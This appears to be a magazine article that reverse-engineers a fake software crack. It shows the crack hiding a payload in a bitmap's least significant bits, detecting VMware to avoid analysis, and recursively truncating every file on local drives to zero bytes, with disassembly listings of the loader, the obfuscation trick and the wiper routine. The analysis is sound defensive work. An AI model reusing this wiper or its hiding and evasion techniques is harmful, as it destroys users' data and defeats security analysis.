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We should always think twice before running an unknown 

program downloaded from the Internet. Of course not every 

application is dangerous, but it’s all too easy to find a 

malicious program which will exploit our naivety – and that 

could cost us dearly. Let's see how we can analyse the 

behaviour of an unknown program before we run it. 
 

At the end of September 2004, a posting with the subject GENERIC CRACK FOR 

MKS-VIR!!!! appeared on the pl.comp.programming newsgroup. It included a link to 

an archive called crack.zip, which contained a small executable file. According to 

users’ feedback, the program was not a crack – what’s more, it appeared to 



contain malicious code. A link to the same file also appeared in messages posted 

to five other newsgroups, where it was announced not as a software crack, but 

an instant messenger password cracker. Our curiosity led us to analyse this file. 
 

Any such analysis consists of two basic stages. First, we need to examine the 

structure of the executable file, paying special attention to its resource list (see 

Frame Resources in Windows applications), and determine what language the 

program was written in. We also need to check if the executable file is 

compressed, for instance with the FSG, UPX or Aspack compression tools. This lets 

us find out whether or not we need to unpack the code in order to analyse it, 

since there's no point in analysing compressed code. 
 

The second and most important step of the analysis is to examine the suspect 

program and locate malicious code hidden within the seemingly innocent 

application. Hopefully, we will be able to determine how the program works and 

what the consequences of running it might be. As we will see, it is well worth 

performing such an analysis, since the alleged crack turns out to be a far from 

innocent application. If you ever run across an equally suspicious file, we highly 

recommend performing a similar examination. 

Quick scan 

Inside the downloaded archive crack.zip, there was only one 200 KB file, called 

patch.exe. Note! We strongly recommend that you change the extension of the 

file before you start the analysis (for example calling the file patch.bin). This will 

prevent you from accidentally executing the file, which could have very 

unpleasant consequences. 
 

During the first stage of analysis, we have to gather information about how the 

file was created. For this purpose, we will use an executable file identifier called 

PEiD, which contains a database that will help us determine what language the 

program was written in and what compressors or obfuscators were used. We 

could also use a similar tool called FileInfo, but it is slightly older and is no longer 

developed as dynamically as PEiD, so the final results may be less precise. 
 



 
Figure 1. The PEiD executable file identifier at work 
 

So, what information did PEiD give us? As far as the file structure is concerned, 

patch.exe is a 32-bit executable file, created in the Windows specific Portable 

Executable (PE) format. In Figure 1, we can see that the program was written in 

Microsoft Visual C++ 6.0. We also know that the file was neither compressed nor 

protected in any way. For the time being, we will not need the remaining 

information, such as subsystem type, file offset or the entry point of the 

program. Now that we know the structure of the suspicious file, we need to find 

out what resources the application uses. 
 

We will use the eXeScope tool, which allows us to view and edit executable file 

resources (see Figure 2). Browsing through the resources of the executable in a 

resource editor reveals only standard data types: a bitmap, a dialog box, an icon, 

and a manifest (a resource used to display the application window using the new 

Windows XP graphic style; in the absence of a manifest, the standard graphic 

interface known from Windows 9x will be used). 
 



 

Figure 2. The eXeScope resource editor 
 

At first glance, patch.exe seems an entirely innocent application, but appearances 

can be deceptive. The only way to be sure what the file contains is a tedious 

analysis of the disassembled program in search of malicious code hidden within 

the application. 

Code analysis 

We will perform code analysis of the suspicious file using IDA – an excellent 

commercial disassembler made by DataRescue. IDA is currently considered the 

best tool of its kind, and can perform a detailed analysis of nearly all executable 

file types. The demo version available for download from DataRescue's website is 

limited to analysing Portable Executable files, but for our needs that will be 

sufficient, because that's exactly the format of the patch.exe file. 
 

The WinMain() procedure 

 

After loading the patch.exe file into the IDA decompiler (Figure 3), we will see the 

WinMain() procedure, which is the entry point for applications written in C++. 
 



 
Figure 3. The WinMain() procedure displayed in the IDA disassembler 
 

In actual fact, this is not the real entry point, since there is a second one, whose 

address is written in the PE file header, and which is the true starting point for 

the execution of an application's code. However, in C++ applications, the code 

which is inside the second entry point is responsible only for the initialisation of 

internal variables and the developer has no influence over it. Since we are 

obviously interested only in what was written by the malicious programmer, we 

don't need to worry about the second entry point. The WinMain() procedure is 

shown in Listing 1. Such decompiled code may be difficult to analyse, so to make 

it easier to understand, we will translate it into C++. 
 

Listing 1. The WinMain() procedure 

 
.text:00401280 ; __stdcall WinMain(x,x,x,x) 

.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p 

.text:00401280 

.text:00401280 hInstance = dword ptr 4 

.text:00401280 

.text:00401280 mov eax, [esp+hInstance] 

.text:00401284 push 0 ; dwInitParam 

.text:00401286 push offset DialogFunc ; lpDialogFunc 

.text:0040128B push 0 ; hWndParent 

.text:0040128D push 65h ; lpTemplateName 

.text:0040128F push eax ; hInstance 

.text:00401290 mov dword_405554, eax 

.text:00401295 call ds:DialogBoxParamA 



.text:00401295   ; Create a model dialog box from 

.text:00401295   ; a dialog box template resource 

.text:0040129B mov eax, hHandle 

.text:004012A0 push INFINITE ; dwMilliseconds 

.text:004012A2 push eax ; hHandle 

.text:004012A3 call ds:WaitForSingleObject 

.text:004012A9 retn 10h 

.text:004012A9 _WinMain@16 endp 

 

The process of reconstructing code in its original language can, with more or less 

difficulty, be applied to almost any deadlisting (disassembled code). Tools such as 

IDA only provide us with some basic information, such as function, variable and 

constant names or the calling convention used (e.g. stdcall or cdecl). There are 

special plug-ins available for IDA which can perform simple decompilation of x86 

code, but the results they return still leave a lot to be desired. To perform the 

translation, we need to analyse the function structure, isolate internal variables 

and locate references to global variables in the code. The information provided 

by IDA will be sufficient for discovering what type and number of parameters a 

given function requires. Using the disassembler, we can also find out what values 

the function returns, which WinAPI procedures it uses and to what data it refers. 

Our first task is to determine type of the function, its calling convention and 

parameter types. Then, using information from IDA, we can isolate the function's 

local variables. 
 

Having created a general outline of the function, we can start to recreate the 

original code. The first step will be to reconstruct calls to other functions, which 

include WinAPI routines as well as the program's own internal functions. For 

WinAPI functions, we can analyse subsequent parameters, which are put on the 

stack by a push command in reverse order to the one used during execution (i.e. 

from last to first). Once we have information about all the parameters, we can 

reconstruct the original function call. The hardest part of reconstructing a 

program's code in a high level language is recreating the internal logic: 

arithmetical operators (addition, subtraction, division and multiplication), logical 

operators (or, xor, not), conditional statements (if, else, switch) and 

loops (for, while, do). After putting all this information together, we will be able to 

translate assembler code into the original language. 
 

It should be clear by now that the translation of machine code to a high-level 

language requires human intervention and experience in code analysis and 

programming. Fortunately, translation won't be necessary for the purpose of our 

analysis, though it will make things simpler. The code of the WinMain() 

procedure translated to C++ can be seen in Listing 2. 
 

Listing 2. The WinMain() procedure translated to C++ 
 

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR 

lpCmdLine, int nShowCmd) 



{ 

// display dialog box 

DialogBoxParam(hInstance, DIALOG BOX IDENTIFIER, NULL, DialogFunc, 

0); 

 

// terminate the program only when hHandle is freed 

return WaitForSingleObject(hHandle, INFINITE); 

} 

 

As we can see, the first procedure to be called is DialogBoxParam(), which is 

responsible for displaying a dialog box. Its identifier indicates a box saved in the 

resources of the executable file. The program then calls the 

WaitForSingleObject() procedure and terminates. From this code we can see 

that the program displays a dialog box and after the box closed (i.e. when it is no 

longer visible) it waits until a state for the hHandle object is signalled. To put it 

simply, the program will not terminate until some other code, initialised before 

WinMain(), completes its execution. This technique is normally used while 

waiting for the execution of code started in a separate thread to complete. 
 

But what could such a simple program possibly need to do after its main window 

is closed? Probably something unpleasant, so now we have to find the place in 

the code where the hHandle is set – if it is being read, then it must have been 

written to earlier. To find this place using the IDA disassembler, we need to click 

the hHandle variable name. This will show us the location of the variable in the 

data section (hHandle is a normal 32-bit DWORD value): 
 

.data:004056E4 ; HANDLE hHandle 

.data:004056E4 hHandle dd 0 ; DATA XREF: .text:00401108w 

.data:004056E4   ; WinMain(x,x,x,x)+1Br 

 

To the right of the variable name, we can see references (Figure 4), which 

indicate places in the code where the variable is read or modified. 
 

 

Figure 4. The references window in IDA 
 



Mysterious references 

Let’s have a look at the references to hHandle. One of these is the WinMain() 

procedure shown before, in which the variable is read (hence the letter r). 

However, another reference (the first one on the list) is much more interesting, 

because from its description we can see that the hHandle variable is being 

modified (the letter w, as in write). Now we only need to click the reference to 

move to the section in the code where the variable is modified. This section is 

shown in Listing 3. 
 

Listing 3. The section of code responsible for writing to the variable 
 
.text:004010F7 mov edx, offset lpInterface 

.text:004010FC mov eax, lpCodePointer 

.text:00401101 jmp short loc_401104 ; mysterious call 

.text:00401103 db 0B8h  ; junk 

 

.text:00401104 loc_401104:  ; CODE XREF: .text:00401101j 

.text:00401104 call eax   ; mysterious call 

 

.text:00401106 db 0    ; junk 

.text:00401107 db 0    ; same as above 

 

.text:00401108 mov hHandle, eax  ; handle setting 

.text:0040110D pop edi 

.text:0040110E mov eax, 1 

.text:00401113 pop esi 

.text:00401114 retn 

 

A few words of explanation concerning the code. First, a pointer to the position 

of the code is loaded into the eax register (mov eax, lpCodePointer). Next, a 

jump is made to a command which calls a procedure (jmp short loc 

_401104). When the procedure is called, the handle value will be moved into the 

eax register (procedures typically return values and error codes to this CPU 

register), and this value will later be written to hHandle. Anyone familiar with 

assembler code will immediately notice how suspicious this piece of code looks, 

and how different it is from ordinary complex C++ code. We need to hide some 

commands, which the IDA disassembler won't let us do, so we will use the 

hexadecimal Hiew editor to go through the same piece of code again (Listing 4). 
 

Listing 4. The code responsible for writing to the variable, displayed in the Hiew 

editor 
 
.00401101: EB01  jmps .000401104   ; jump into the middle 

.00401101: EB01      ; of the next command 

.00401103: B8FFD00000  mov eax,00000D0FF  ; the hidden command 

.00401108: A3E4564000  mov [004056E4],eax ; setting the handle value 

.0040110D: 5F   pop edi 

.0040110E: B801000000 mov eax,000000001 

.00401113: 5E   pop esi 

.00401114: C3   retn 



 

The call eax command can’t be seen here, because its opcodes (command 

bytes) were inserted into the middle of the mov eax, 0xD0FF command. Only 

after erasing the first byte of the mov command can we reveal the code which will 

actually be executed: 
 
.00401101: EB01 jmps .000401104 ; jump into the middle 

; of the next command 

.00401103: 90 nop   ; 1 byte of MOV command erased 

.00401104: FFD0 call eax  ; the hidden command 

 

Let’s return to the code executed by the call eax command. We need to find 

out what is indicated by the address written to the eax register. Before call 

eax there is another command, which writes the value of the lpCodePointer 

variable to the eax register (to make it easier to understand the code, we can 

change the name of a variable in IDA by indicating it with the mouse cursor, 

pressing the [N ] key and typing in the new name). Once again, we will use 

references to find out what exactly was written to this variable: 
 

.data:004056E8 lpCodePointer dd 0 ; DATA XREF: .text:00401092w 

.data:004056E8    ; .text:004010A1r 

.data:004056E8    ; .text:004010BEr 

.data:004056E8    ; .text:004010C8r 

.data:004056E8    ; .text:004010FCr 

 

The lpCodePointer variable is, by default, set to 0 and changes its value in only 

one place in the code. Clicking the reference to the variable write operation will 

take us to the piece of code shown in Listing 5. 
 

Listing 5. The lpCodePointer variable 
 
.text:00401074 push ecx 

.text:00401075 push 0 

.text:00401077 mov dwBitmapSize, ecx  ; store the size of the 

bitmap 

.text:0040107D call ds:VirtualAlloc  ; allocate memory, the 

address of 

.text:0040107D       ; the memory block will be 

stored in eax 

.text:00401083 mov ecx, dwBitmapSize 

.text:00401089 mov edi, eax   ; edi = address of the 

allocated 

.text:00401089      ; memory block 

.text:0040108B mov edx, ecx 

.text:0040108D xor eax, eax 

.text:0040108F shr ecx, 2 

.text:00401092 mov lpCodePointer, edi  ; store the memory block 

address 

.text:00401092       ; in the lpCodePointer 

variable 

 

Here we can see that the lpCodePointer variable contains the address of a 



memory area allocated by the VirtualAlloc() function. All we need to do now 

is find out what is hidden in this mysterious piece of code. 
 

A suspicious bitmap 

Looking through the previous deadlisting snippets, we can see that a single 

bitmap is loaded from the resources of the patch.exe file. Each pixel of the 

bitmap has its RGB colour components read and put together into bytes of 

hidden code, which is then written to the previously allocated memory chunk, 

indicated by the address held in the lpCodePointer. This key fragment of code, 

which is responsible for retrieving data from the bitmap, is shown in Listing 6. 
 

Listing 6. The code which retrieves data from a bitmap 
 

.text:004010BE next_byte:   ; CODE XREF: .text:004010F4j 

.text:004010BE mov edi, lpCodePointer 

.text:004010C4 xor ecx, ecx 

.text:004010C6 jmp short loc_4010CE 

 

.text:004010C8 next bit:   ; CODE XREF: .text:004010E9j 

 

.text:004010C8 mov edi, lpCodePointer 

 

.text:004010CE loc_4010CE:   ; CODE XREF: .text:004010BCj 

.text:004010CE      ; .text:004010C6j 

.text:004010CE mov edx, lpBitmapReference 

.text:004010D4 mov bl, [edi+eax] ; assembled byte of code 

.text:004010D7 mov dl, [edx+esi] ; next byte of RGB components 

.text:004010DA and dl, 1   ; mask the least significant bit 

.text:004010DD shl dl, cl  ; shift the bit left and increment 

it 

.text:004010DF or  bl, dl  ; assemble a byte from component 

bits 

.text:004010E1 inc esi 

.text:004010E2 inc ecx 

.text:004010E3 mov [edi+eax], bl ; store a byte of code 

.text:004010E6 cmp ecx, 8  ; 8-bit counter (8 bits=1 byte) 

.text:004010E9 jb  short next bit 

 

.text:004010EB mov ecx, dwBitmapSize 

.text:004010F1 inc eax 

.text:004010F2 cmp esi, ecx 

.text:004010F4 jb  short next byte 

 

.text:004010F6 pop ebx 

.text:004010F7 

.text:004010F7 loc_4010F7:   ; CODE XREF: .text:004010B7j 

.text:004010F7 mov edx, offset lpInterface 

.text:004010FC mov eax, lpCodePointer 

.text:00401101 jmp short loc_401104 ; mysterious call 

.text:00401103 db 0B8h    ; junk 

 

.text:00401104 loc_401104:   ; CODE XREF: .text:00401101j 

.text:00401104 call eax   ; mysterious call 

 



Two loops can be seen in the code shown in Listing 6. The inner loop is 

responsible for retrieving consecutive bytes of the RGB colour components (Red, 

Green, Blue) for each pixel of the bitmap. In this case the bitmap is saved in 

24bpp format (24 bits per pixel), so each pixel is described by three consecutive 

bytes (one per RGB component). The least significant bits from each of eight 

consecutive bytes are masked using the and dl, 1 command and then 

assembled to create one byte of new code. Once this new byte is assembled, it is 

written to the lpCodePointer buffer. Then, in the outer loop, the counter for 

the lpCodePointer loop is incremented so that it points to the location where 

the next byte of code can be stored. Having done that, the program returns to its 

inner loop, where the next eight bytes of the bitmap are retrieved.  
 

The outer loop is executed until all the bytes of the hidden code have been 

retrieved from the pixels of the bitmap. The number of iterations is equal to the 

total number of pixels, which is calculated from the width and height recorded in 

the bitmap header, as Listing 7 demonstrates. 
 

Listing 7. The code which calculates the bitmap size 
 

.text:0040105B ; pointer to the start of the bitmap 

.text:0040105B ; is stored in the eax register 

.text:0040105B mov ecx, [eax+8] ; bitmap height 

.text:0040105E push 40h 

.text:00401060 imul ecx, [eax+4] ; width * height = number 

.text:00401060     ; of bytes used for the pixels 

.text:00401064 push 3000h 

.text:00401069 add eax, 40  ; size of bitmap header 

.text:0040106C lea ecx, [ecx+ecx*2] ; every pixel is described 

.text:0040106C     ; by 3 bytes,so the result of 

multiplying 

.text:0040106C     ; width by height must be 

multiplied by 3 

.text:0040106F mov lpBitmapPointer, eax ; store the pointer to the 

next pixel 

.text:00401074 push ecx 

.text:00401075 push 0 

.text:00401077 mov dwBitmapSize, ecx ; store bitmap size 

 

After the bitmap is loaded from the resources of the executable file, its starting 

address (which indicates the header) will be put in the eax register. The 

dimensions of the bitmap are retrieved from the header and its width and height 

are multiplied to give the total number of pixels in the bitmap. 
 

Each pixel is described by three bytes, so the result must additionally be 

multiplied by three to give us the final size of the data used to describe all the 

pixels. To make this process easier to understand, Listing 8 shows the same code 

translated into C++. 
 

Listing 8. The code for retrieving data from the bitmap, translated into C++ 
 



unsigned int i = 0, j = 0, k; 

unsigned int dwBitmapSize; 

 

// calculate how many bytes all the pixels use 

dwBitmapSize = width of bitmap * height of bitmap * 3; 

 

while (i < dwBitmapSize) 

{ 

// assemble 8 bits taken from RGB components into one byte of code 

for (k = 0; k < 8; k++) 

{ 

lpCodePointer[j] |= (lpBitmapPointer[i++] & 1) << k; 

} 

 

// next byte of code 

j++; 

} 

 

Our search was successful: now we know where the suspect code is stored. 

Secret data was hidden in the least significant bit of each RGB component for 

each pixel of the bitmap. The difference between the modified bitmap and the 

original one is too subtle to be visible to the human eye, and in any case we 

would need to have the original picture to compare the modified version with. 
 

An individual who has put so much effort into hiding a small piece of code 

couldn't have had our best intentions at heart. Time to face the next difficult 

task: the hidden code needs to be extracted from the bitmap and then 

examined. 
 

Extracting the code 

Isolating the hidden code doesn't seem a complicated task – we could simply 

execute the suspicious file and then, using a debugger such as SoftIce or OllyDbg, 

dump the processed code from memory. However, we don’t know what the 

result of executing this code might be, so it's better not to risk it. 
 

For the purpose of this analysis, we will use a small program I wrote, which 

retrieves the hidden code from the bitmap without actually running the 

suspicious application (the program is called decoder.exe and can be found on 

Hakin9 Live, downloadable from http://www.hakin9.org website, along with its 

source code and a dump of the hidden code). The program works by loading the 

bitmap from the resources of patch.exe and then extracting the code from it. The 

decoder.exe utility uses the same algorithm (described above) as the original 

patch.exe program. 
 

Hidden code 

Time to perform an analysis of the hidden code – its complete version (without 

comments) is about a kilobyte in size and can be found on Hakin9 Live. We will 



look at the code's general mode of operation and examine its most interesting 

sections in detail. 
 

In order to operate, the analysed code needs access to the Windows system 

functions (WinAPI). Access to these functions is implemented through a special 

interface structure (see Listing 9), whose address is passed to the hidden code 

via the edx register. 
 

Listing 9. The interface structure 
 

00000000 interface struc ; (sizeof=0X48) 

 

00000000  hKernel32   dd ? ; kernel32.dll library handle 

00000004  hUser32   dd ? ; user32.dll library handle 

00000008  GetProcAddress  dd ? ; WinAPI procedure addresses 

0000000C  CreateThread  dd ? 

00000010  bIsWindowsNT  dd ? 

00000014  CreateFileA   dd ? 

00000018  GetDriveTypeA  dd ? 

0000001C  SetEndOfFile  dd ? 

00000020  SetFilePointer  dd ? 

00000024  CloseHandle   dd ? 

00000028  SetFileAttributesA dd ? 

0000002C  SetCurrentDirectoryA dd ? 

00000030  FindFirstFileA  dd ? 

00000034  FindNextFileA  dd ? 

00000038  FindClose   dd ? 

0000003C  Sleep    dd ? 

00000040  MessageBoxA   dd ? 

00000044  stFindData   dd ? ; WIN32_FIND_DATA 

 

00000048 interface ends 

 

The structure is stored in the data section of the main program.  The system 

libraries kernel.dll and user32.dll are loaded before the hidden code is executed, 

and their handles are written to the interface structure. 
 

Listing 10. The main program starting an additional thread 
 

; the code address is stored in eax register, and the address 

; of the structure which provides access to WinAPI functions 

; is stored in the edx register 

hidden_code: 

 

; eax + 16 = start point of code which will be executed in the thread 

lea ecx, code_executed_in_the_thread[eax] 

push eax 

push esp 

push 0 

push edx ; parameter for the thread procedure 

; interface structure address 

push ecx ; address of the procedure which is to be executed 

; in the thread 

push 0 

push 0 

call [edx+interface.CreateThread] ; execute the code in the thread 



 

loc_10: 

 

pop ecx 

sub dword ptr [esp], -2 

retn 

 

Other data is then put into the structure: a flag indicating whether the program 

was started under Windows XP/NT and addresses of the GetProcAddres() and 

CreateThread() functions. System library handles and access to the 

GetProcAddress() function allow the program to find the address of any 

procedure and any library, not only the system ones. 
 

Main thread 

The hidden code is executed when the main application creates an additional 

thread using the address of the CreateThread() procedure stored in the 

interface structure. After CreateThread() is called, the handle of the newly 

created thread is written to the eax register (0 is written in the event of an error) 

and after the thread returns to the main program code, the handle is written to 

the hHandle variable. 
 

Let’s have a look at Listing 11, which shows us the code of the thread responsible 

for running the hidden code. 
 

Listing 11. Additional thread – hidden code execution 
 
code_executed_in_the_thread: ; DATA XREF: seg000:00000000r 

push ebp 

mov ebp, esp 

push esi 

push edi 

push ebx 

mov ebx, [ebp+8]  ; offset of the interface containing 

; WinAPI function addresses 

 

; Don’t execute the "in" instruction under Windows NT 

; because it would cause the program to crash 

cmp [ebx+interface.bIsWindowsNT], 1 

jz short dont_execute 

 

; detect the VWware virtual machine. If the program detects that 

; it is running inside an emulator, it terminates. 

mov ecx, 0Ah 

mov eax, 'VMXh' 

mov dx, 'VX' 

in eax, dx 

cmp ebx, 'VMXh'   ; VMware detection 

jz loc_1DB 

 

dont_execute:   ; CODE XREF: seg000:00000023j 

mov ebx, [ebp+8]  ; offset of the interface containing 



; WinAPI function addresses 

call loc_54 

aCreatefilea db 'CreateFileA',0 

loc_54:    ; CODE XREF: seg000:00000043p 

 

push [ebx+interface.hKernel32] 

call [ebx+interface.GetProcAddress] 

mov [ebx+interface.CreateFileA], eax 

 

call loc_6E 

aSetendoffile db 'SetEndOfFile',0 

loc_6E:    ; CODE XREF: seg000:0000005Cp 

 

push [ebx+interface.hKernel32] 

call [ebx+interface.GetProcAddress] ; WinAPI procedure address 

mov [ebx+interface.SetEndOfFile], eax 

... 

call loc_161 

aSetfileattribu db 'SetFileAttributesA',0 

loc_161:     ; CODE XREF: seg000:00000149 p 

 

push [ebx+interface.hKernel32] 

call [ebx+interface.GetProcAddress]  ; WinAPI procedure address 

 

mov [ebx+interface.SetFileAttributesA], eax 

lea edi, [ebx+interface.stFindData] ; WIN32_FIND_DATA 

call scan_discs   ; hard disk scanning 

 

sub eax, eax 

inc eax 

 

pop ebx 

pop edi 

pop esi 

leave 

retn 4    ; terminate thread 

 

Only one parameter is passed to the procedure which is started inside the 

thread – in this case it is the address of the interface structure. The procedure 

then checks if the program was started in the Windows NT environment. The 

check is performed because the procedure cunningly tries to detect the 

possibility of having been started inside a VMware virtual machine – if it detects 

one, it stops working. Detection is performed using the in assembler command, 

which would normally be used to read data from I/O ports, but in this case it 

would be responsible for internal communication with the VMware system. If this 

command is executed in a Windows NT system, it may crash the application, 

which doesn’t happen under Windows 9x. 
 

The next step is getting handlers to additional WinAPI functions which are used 

by the hidden code and writing them to the interface structure. Once all the 

addresses have been acquired, the scan_disks() procedure is started, which 

checks disk drives one after another (the second part of Listing 11). 
 



Another clue: disk scanning 

Calling the scan_disks() procedure is the first visible sign that the hidden code 

is about to destroy something – why else would the alleged crack need to browse 

through all of a computer's drives? Scanning starts from the drive labelled Y:\ and 

moves towards the beginning of the alphabet until it reaches drive C:\, which is 

the most important for most Windows users. The GetDriveTypeA() procedure 

used to discover the drive type takes a partition letter as its parameter and then 

returns the type of the partition – its code is shown in Listing 12. 
 

Listing 12. A procedure scanning the computer’s drives 
 
scan_disks proc near  ; CODE XREF: seg000:0000016Cp 

 

var_28 = byte ptr -28h 

 

pusha 

push '\:Y'    ; disk scanning starts from the Y:\ drive 

 

next_disk:    ; CODE XREF: scan_disks+20j 

 

push esp    ; put the disk name on the stack (Y:\, X:\, 

W:\ etc.) 

call [ebx+interface.GetDriveTypeA] ; GetDriveTypeA 

 

sub eax, 3 

cmp eax, 1 

ja short cdrom_etc  ; next hard disk drive letter 

mov edx, esp 

call erase_files 

 

cdrom_etc:    ; CODE XREF: scan_disks+10j 

 

dec byte ptr [esp+0]  ; next hard disk drive letter 

cmp byte ptr [esp+0], 'C' ; check if C:\ drive was reached 

jnb short next_disk  ; repeat scan for the next disk 

pop ecx 

popa 

retn 

scan_disks endp 

 

 

Note that the procedure skips CD-ROMs and network drives, looking only for 

local drives. 

 



 
Figure 5. The way the disk scanning procedure works. 

 

Having detected a suitable partition, the program starts a recursive scan of all its 

directories (the erase_files() procedure in Listing 13). 
 

Listing 13. Procedure scanning the partition for any file 
 
erase_files proc near  ; CODE XREF: scan_disks+14p, erase_files+28p 

 

pusha 

 

push edx 

call [ebx+interface.SetCurrentDirectoryA] 

 

push '*'    ; file search mask 



mov eax, esp 

push edi 

push eax 

call [ebx+interface.FindFirstFileA] 

 

pop ecx 

mov esi, eax 

inc eax 

jz short no_more_files 

 

file_found:   ; CODE XREF: erase_files+39j 

test byte ptr [edi], 16 ; is it a directory? 

jnz short directory_found 

 

call zero_the_size_of_file 

jmp short search_for_next_file 

 

directory_found:  ; CODE XREF: erase files+17j 

 

lea edx, [edi+2Ch] 

cmp byte ptr [edx], '.' 

jz short search for next file 

 

call erase_files  ; recursive directory scan 

 

search_for_next_file: ; CODE XREF: erase_files+1Ej, erase_files+26j 

 

push 5 

call [ebx+interface.Sleep] 

 

push edi 

push esi 

call [ebx+interface.FindNextFileA] 

test eax, eax 

jnz short file found ; is it a directory? 

 

no_more_files:  ; CODE XREF: seg000:0000003Aj, erase files+12j 

 

push esi 

call [ebx+interface.FindClose] 

 

push '..' ; cd .. 

push esp 

call [ebx+interface.SetCurrentDirectoryA] 

pop ecx 

 

popa 

retn 

 

erase_files endp 

 

This is another clue which proves that our suspicions were correct, and that the 

hidden code does indeed have a malicious purpose. The scanner uses the 

FindFirstFile(), FindNextFile() and SetCurrentDirectory() functions 

to scan the whole partition searching for all file types – this is indicated by the * 

file mask used for the FindFirstFile() procedure. 
 



Hard evidence: file zeroing 

Until now, we could only suspect that some kind of destructive power lay in the 

code hidden in the bitmap. In Listing 14, we can see concrete proof of malicious 

intentions on behalf of the author of the patch.exe program. The evidence can be 

found in the zero_file_size() procedure, which is called each time the 

erase_files() procedure finds a file. 
 

Listing 14. The zero_file_size() procedure 
 
zero_file_size proc near ; CODE XREF: erase_files+19p 

 

pusha 

 

mov eax, [edi+20h]  ; file size 

test eax, eax   ; if the file has 0 bytes, skip it 

jz short skip_file 

 

lea eax, [edi+2Ch]  ; file name 

push 20h; ' '   ; new file attributes 

push eax    ; file_name 

call [ebx+interface.SetFileAttributesA]; set file attributes 

 

lea eax, [edi+2Ch] 

sub edx, edx 

push edx 

push 80h 

push 3 

push edx 

push edx 

push 40000000h 

push eax 

call [ebx+interface.CreateFileA] 

inc eax    ; was the file opened successfully? 

jz short skip_file  ; if not, do not zero the file 

dec eax 

xchg eax, esi   ; load file handle to esi register 

 

push 0    ; set file pointer to the beginning 

(FILE_BEGIN) 

push 0 

push 0    ; fetch the address of the file handle 

push esi    ; file handle 

call [ebx+interface.SetFilePointer] 

 

push esi    ; set the EOF to the current pointer 

(beginning of file), 

; which will zero the size of the file 

call [ebx+interface.SetEndOfFile] 

 

push esi    ; close the file 

call [ebx+interface.CloseHandle] 

 

skip_file:    ; CODE XREF: zero file size+6j 

; zero file size+2Aj 

popa 

retn 



 

zero_file_size endp 

 

The procedure is very simple. For every file found, the SetFileAttributesA() 

function is used to set the archive attribute. This removes all other attributes, 

including read only (if set), which would prevent the file being written to. The 

CreateFileA() function is then used to open the file and, if this succeeds, the 

file pointer is set to the beginning of the file. 
 

To set the pointer, the procedure uses the SetFilePointer() function. This 

function takes a FILE_BEGIN parameter which defines the new location of the 

file pointer – in this case, it is the beginning of the file. After the pointer is set, the 

SetEndOfFile() function is called, setting the new size of the file using the 

current position of the file pointer. We have just seen that the file pointer was set 

to point at the very beginning of the file, so executing this procedure causes the 

size of the file to be truncated to zero. After zeroing the file, the code returns to 

its recursive directory scan in search of other files. Thus, the unwitting user loses 

one file after another from his or her local disks. 
 

Our analysis of the supposed crack has led us through understanding the way 

the program operates, finding the hidden code and determining its behaviour – 

and all of this, fortunately, without running the program. The results are as clear 

as they are horrifying: the effect of running the tiny patch.exe program is far from 

pleasant. Once executed, the malicious code changes the sizes of all the files on 

all local partitions to zero bytes, effectively annihilating them. If you have 

valuable data on your disks, the damage may be irreparable. 

 



 
Figure 6. The way the patch.exe program works. 

 

On the Internet 

 www.hexrays.com – IDA Demo for PE disassembler 

 www.hiew.ru – Hiew hexadecimal editor 

 tuts4you.com/download.php?view.398 – PEiD file identifier 

 lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM – FileInfo identifier 

 hp.vector.co.jp/authors/VA003525/emysoft.htm – eXeScope resource 

editor 

 www.ollydbg.de/ – OllyDbg – a free debugger for Windows 

 protools.cjb.net – collection of tools useful for executable file analysis 
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